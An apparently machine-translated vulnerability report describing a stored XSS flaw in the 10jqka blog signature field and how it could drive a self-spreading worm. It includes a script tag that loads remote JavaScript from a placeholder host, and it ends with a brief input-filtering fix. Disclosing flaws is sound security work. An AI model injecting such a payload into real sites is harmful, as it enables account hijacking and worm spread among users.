A storage-type xss vulnerability exists in a system of flush to form a worm effect.

A storage-type xss vulnerability exists in a system of flush to form a worm effect.

A storage-type xss vulnerability exists in a system in huashun, which can be spontaneously propagated to form a worm effect.

Any js code can be written to the signature of the same blog system (this code can be activated if someone else opens any page of this blog). No verification code is required to modify comments, at the same time, these two points can be used to enable active propagation of worms from one user to multiple other users.

If some famous raters are also infected, the propagation speed will be greatly accelerated.

Login: http://pass.10jqka.com.cn/login


 

Log on directly

Http://blog.10jqka.com.cn/

Go to my blog
 

Edit the blog introduction to obtain the api for setting the blog introduction.


 

This api request is xmlhttprequest and has only one parameter content. Therefore, you can modify this content as long as you can execute JavaScript.


 

Next, write a script in the signature and save it.


 

Refresh the page and the script has been executed. Although it can only contain 300 characters, it is enough to write <script src = "http: // xxx/1.js"> </script>.


 

So I came up with the following worm ideas:


 

 

Solution:

Filter scripts in user input.